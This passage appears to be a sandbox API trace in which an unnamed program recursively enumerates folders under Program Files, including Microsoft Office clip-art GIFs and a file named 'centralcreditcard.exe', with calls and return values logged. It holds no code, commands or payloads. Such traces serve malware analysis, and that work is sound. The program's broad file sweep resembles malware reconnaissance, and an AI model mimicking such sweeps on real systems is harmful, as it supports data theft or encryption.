FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.566] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0074.566] GetProcessHeap () returned 0x730000 [0074.567] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2f088e0 [0074.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee28c0 [0075.031] FindNextFileW (in: hFindFile=0x2ee28c0, lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.031] FindNextFileW (in: hFindFile=0x2ee28c0, lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f68100, ftCreationTime.dwHighDateTime=0x1c9b09b, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd9f68100, ftLastWriteTime.dwHighDateTime=0x1c9b09b, nFileSizeHigh=0x0, nFileSizeLow=0xa2b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrv.rll", cAlternateFileName="")) returned 1 [0075.031] FindNextFileW (in: hFindFile=0x2ee28c0, lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 1 [0075.031] FindNextFileW (in: hFindFile=0x2ee28c0, lpFindFileData=0x2caea00 | out: lpFindFileData=0x2caea00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2512f000, ftCreationTime.dwHighDateTime=0x1c8e1fe, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2512f000, ftLastWriteTime.dwHighDateTime=0x1c8e1fe, nFileSizeHigh=0x0, nFileSizeLow=0x3a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0075.032] FindClose (in: hFindFile=0x2ee28c0 | out: hFindFile=0x2ee28c0) returned 1 [0075.032] GetProcessHeap () returned 0x730000 [0075.032] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2f088e0 | out: hHeap=0x730000) returned 1 [0075.032] FindNextFileW (in: hFindFile=0x2ee2a00, lpFindFileData=0x2caec88 | out: lpFindFileData=0x2caec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0075.032] FindClose (in: hFindFile=0x2ee2a00 | out: hFindFile=0x2ee2a00) returned 1 [0075.032] GetProcessHeap () returned 0x730000 [0075.032] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ef78d0 | out: hHeap=0x730000) returned 1 [0075.033] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 0 [0075.033] FindClose (in: hFindFile=0x2ee29c0 | out: hFindFile=0x2ee29c0) returned 1 [0075.034] GetProcessHeap () returned 0x730000 [0075.034] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ed28a0 | out: hHeap=0x730000) returned 1 [0075.035] FindNextFileW (in: hFindFile=0x2ee2980, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10", cAlternateFileName="")) returned 0 [0075.035] FindClose (in: hFindFile=0x2ee2980 | out: hFindFile=0x2ee2980) returned 1 [0075.035] GetProcessHeap () returned 0x730000 [0075.035] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0075.035] FindNextFileW (in: hFindFile=0x2ee2900, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0 [0075.035] FindClose (in: hFindFile=0x2ee2900 | out: hFindFile=0x2ee2900) returned 1 [0075.035] GetProcessHeap () returned 0x730000 [0075.035] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea1880 | out: hHeap=0x730000) returned 1 [0075.035] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x2caf6a8 | out: lpFindFileData=0x2caf6a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0075.035] GetProcessHeap () returned 0x730000 [0075.035] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea1880 [0075.035] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2900 [0075.036] FindNextFileW (in: hFindFile=0x2ee2900, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdbf37e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf37e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.036] FindNextFileW (in: hFindFile=0x2ee2900, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1e4600, ftCreationTime.dwHighDateTime=0x1d56fac, ftLastAccessTime.dwLowDateTime=0x62e057a0, ftLastAccessTime.dwHighDateTime=0x1d5b0b0, ftLastWriteTime.dwLowDateTime=0x62e057a0, ftLastWriteTime.dwHighDateTime=0x1d5b0b0, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1 [0075.036] FindNextFileW (in: hFindFile=0x2ee2900, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIPART", cAlternateFileName="")) returned 1 [0075.036] GetProcessHeap () returned 0x730000 [0075.036] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ee38a8 [0075.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee2980 [0075.292] FindNextFileW (in: hFindFile=0x2ee2980, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.292] FindNextFileW (in: hFindFile=0x2ee2980, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0075.292] GetProcessHeap () returned 0x730000 [0075.292] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ec2898 [0075.292] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ee29c0 [0075.825] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.920] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0075.920] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83130700, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83130700, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1c30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00011_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78587200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78587200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x3a19, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00021_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0075.921] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0075.922] FindNextFileW (in: hFindFile=0x2ee29c0, lpFindFileData=0x2caef10 | out: lpFindFileData=0x2caef10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, 